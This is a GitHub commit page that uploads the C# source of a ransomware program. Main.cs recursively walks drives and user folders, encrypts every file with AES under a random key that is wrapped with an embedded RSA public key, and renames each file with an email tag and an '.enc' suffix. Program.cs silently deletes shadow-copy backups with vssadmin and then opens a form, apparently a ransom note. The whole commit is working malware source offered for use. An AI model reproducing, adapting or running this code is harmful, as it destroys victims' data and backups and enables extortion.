Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
xelroth authored Jul 23, 2024
1 parent 4c7bdeb commit 6dc8940
Show file tree
Hide file tree
Showing 45 changed files with 1,416 additions and 0 deletions.
11 changes: 11 additions & 0 deletions Microsoft/CodeAnalysis/EmbeddedAttribute.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
using System;
using System.Runtime.CompilerServices;

namespace Microsoft.CodeAnalysis
{
[CompilerGenerated]
[Embedded]
internal sealed class EmbeddedAttribute : Attribute
{
}
}
17 changes: 17 additions & 0 deletions Properties/AssemblyInfo.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;

[assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("282b8d86-f33f-441e-8bb5-95903351be39")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("1.0.0.0")]
48 changes: 48 additions & 0 deletions SF.Properties/Resources.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;

namespace SF.Properties;

[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")]
[DebuggerNonUserCode]
[CompilerGenerated]
internal class Resources
{
private static ResourceManager resourceMan;

private static CultureInfo resourceCulture;

[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (resourceMan == null)
{
ResourceManager resourceManager = (resourceMan = new ResourceManager("SF.Properties.Resources", typeof(Resources).Assembly));
}
return resourceMan;
}
}

[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get
{
return resourceCulture;
}
set
{
resourceCulture = value;
}
}

internal Resources()
{
}
}
14 changes: 14 additions & 0 deletions SF.Properties/Settings.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
using System.CodeDom.Compiler;
using System.Configuration;
using System.Runtime.CompilerServices;

namespace SF.Properties;

[CompilerGenerated]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.3.0.0")]
internal sealed class Settings : ApplicationSettingsBase
{
private static Settings defaultInstance = (Settings)SettingsBase.Synchronized(new Settings());

public static Settings Default => defaultInstance;
}
40 changes: 40 additions & 0 deletions SF/Encryption.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
using System;
using System.Security.Cryptography;
using System.Text;

namespace SF;

internal static class Encryption
{
public enum KeySizes
{
Size2048 = 0x800
}

public static byte[] AesEncrypt(byte[] input, string pass)
{
RijndaelManaged rijndaelManaged = new RijndaelManaged();
byte[] array = new byte[32];
byte[] sourceArray = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(pass));
Array.Copy(sourceArray, 0, array, 0, 16);
Array.Copy(sourceArray, 0, array, 15, 16);
rijndaelManaged.Key = array;
rijndaelManaged.Mode = CipherMode.ECB;
ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor();
return cryptoTransform.TransformFinalBlock(input, 0, input.Length);
}

public static string Run()
{
byte[] inArray = Encrypt("<RSAKeyValue><Modulus>t2y0c8wweA+4DhfQLn3nMKAfaWL1l/oTj5EjEgvzxgaT8vXntgqbW2efLxc/hs94McCrntZJJjYbtCC0xcOC+w38gIwa7xugrwNgtTFjgnI+4j3fdv5/+NCNMM/I0Yb0KZc0jx0wa3QeC8fZgVslnVnyVQLsYBhgdPSSzjABZ249PK7i2WRbccNpYHzZPqYTWawjxm3ePSrJGmAr///25B1OZOYFeQ1Gzl/SKO4YB5/KW2ZuTaJIj8zDRgDQiDjZwIBswbBvs8t1TwCrp3HHPQ7NH6jEmzEtYqCgSoRYu2X7rGhPRvcX6KUXAAruU0EOnfMLEWNH9u9+IHsg6j8tsQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>", Encoding.UTF8.GetBytes(Main.Key));
return Convert.ToBase64String(inArray);
}

private static byte[] Encrypt(string publicKey, byte[] plain)
{
using RSACryptoServiceProvider rSACryptoServiceProvider = new RSACryptoServiceProvider(2048);
rSACryptoServiceProvider.PersistKeyInCsp = false;
rSACryptoServiceProvider.FromXmlString(publicKey);
return rSACryptoServiceProvider.Encrypt(plain, fOAEP: true);
}
}
26 changes: 26 additions & 0 deletions SF/KeyGenerator.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
using System.Security.Cryptography;
using System.Text;

namespace SF;

public class KeyGenerator
{
public static string GetUniqueKey(int maxSize)
{
char[] array = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890".ToCharArray();
byte[] array2 = new byte[1];
using (RNGCryptoServiceProvider rNGCryptoServiceProvider = new RNGCryptoServiceProvider())
{
rNGCryptoServiceProvider.GetNonZeroBytes(array2);
array2 = new byte[maxSize];
rNGCryptoServiceProvider.GetNonZeroBytes(array2);
}
StringBuilder stringBuilder = new StringBuilder(maxSize);
byte[] array3 = array2;
foreach (byte b in array3)
{
stringBuilder.Append(array[(int)b % array.Length]);
}
return stringBuilder.ToString();
}
}
141 changes: 141 additions & 0 deletions SF/Main.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,141 @@
using System;
using System.Collections.Generic;
using System.IO;
using Microsoft.VisualBasic;

namespace SF;

internal static class Main
{
private static readonly string Root = Environment.GetFolderPath(Environment.SpecialFolder.System);

private static readonly string SystemDisk = Path.GetPathRoot(Root);

public static readonly string DesktopDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);

private static readonly string MyComputerDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyComputer);

private static readonly string DesktopDirectoryDirectory = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);

private static readonly string FavoritesDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Favorites);

private static readonly string MyDocumentspDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Personal);

private static readonly string MyMusicDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);

private static readonly string HistoryDirectory = Environment.GetFolderPath(Environment.SpecialFolder.History);

private static readonly string PersonalDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Personal);

private static readonly string DownloadsDirectory = Interaction.Environ("USERPROFILE") + "\\Downloads";

private static readonly string DocumentsDirectory = Interaction.Environ("USERPROFILE") + "\\Documents";

private static readonly string PicturesDirectory = Interaction.Environ("USERPROFILE") + "\\Pictures";

private static readonly string VideosDirectory = Interaction.Environ("USERPROFILE") + "\\Videos";

private static readonly string MusicDirectory = Interaction.Environ("USERPROFILE") + "\\Music";

private static readonly string UserProfile = Interaction.Environ("USERPROFILE");

public static string[] ValidExtension = new string[1] { "*.*" };

public static string Key { get; } = KeyGenerator.GetUniqueKey(133);


private static string[] Folder { get; set; }

private static string[] Files { get; set; }

private static string ProgramData { get; } = SystemDisk + "\\ProgramData";


public static void RunEncrypt()
{
string text = Encryption.Run();
List<string> list = new List<string>();
string[] logicalDrives = Directory.GetLogicalDrives();
string[] array = logicalDrives;
foreach (string text2 in array)
{
if (text2 != "C:\\")
{
list.Add(text2);
}
}
list.Add(DesktopDirectory);
list.Add(MyComputerDirectory);
list.Add(DesktopDirectoryDirectory);
list.Add(MyDocumentspDirectory);
list.Add(MyMusicDirectory);
list.Add(PersonalDirectory);
list.Add(DownloadsDirectory);
list.Add(DocumentsDirectory);
list.Add(PicturesDirectory);
list.Add(VideosDirectory);
list.Add(MusicDirectory);
list.Add(UserProfile);
list.Add(FavoritesDirectory);
list.Add(ProgramData);
list.Add(SystemDisk + "\\Users\\");
foreach (string item in list)
{
SearchFolder(item);
SearchFile(item);
}
}

internal static void SearchFolder(string name)
{
try
{
Folder = Directory.GetDirectories(name, "*", SearchOption.TopDirectoryOnly);
}
catch (Exception)
{
return;
}
string[] folder = Folder;
foreach (string name2 in folder)
{
SearchFile(name2);
SearchFolder(name2);
}
}

internal static void SearchFile(string name)
{
string[] validExtension = ValidExtension;
foreach (string text in validExtension)
{
try
{
Files = Directory.GetFiles(name, "*" + text, SearchOption.TopDirectoryOnly);
}
catch (Exception)
{
break;
}
string[] files = Files;
foreach (string name2 in files)
{
Encrypt(name2);
}
}
}

internal static void Encrypt(string name)
{
try
{
string text = "[email protected]";
byte[] bytes = Encryption.AesEncrypt(File.ReadAllBytes(name), Key);
File.WriteAllBytes(name, bytes);
File.Move(name, name + text + ".enc");
}
catch (Exception)
{
}
}
}
40 changes: 40 additions & 0 deletions SF/Program.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
using System;
using System.Diagnostics;
using System.Windows.Forms;

namespace SF;

internal static class Program
{
[STAThread]
private static void Main()
{
SF.Main.RunEncrypt();
DeleteShadowCopy();
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(defaultValue: false);
Application.Run(new link2());
}

private static void DeleteShadowCopy()
{
try
{
ProcessStartInfo startInfo = new ProcessStartInfo("cmd.exe", "/c vssadmin.exe delete shadows /all /quiet")
{
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
};
Process process = new Process
{
StartInfo = startInfo
};
process.Start();
}
catch (Exception)
{
}
}
}
Loading

0 comments on commit 6dc8940

Please sign in to comment.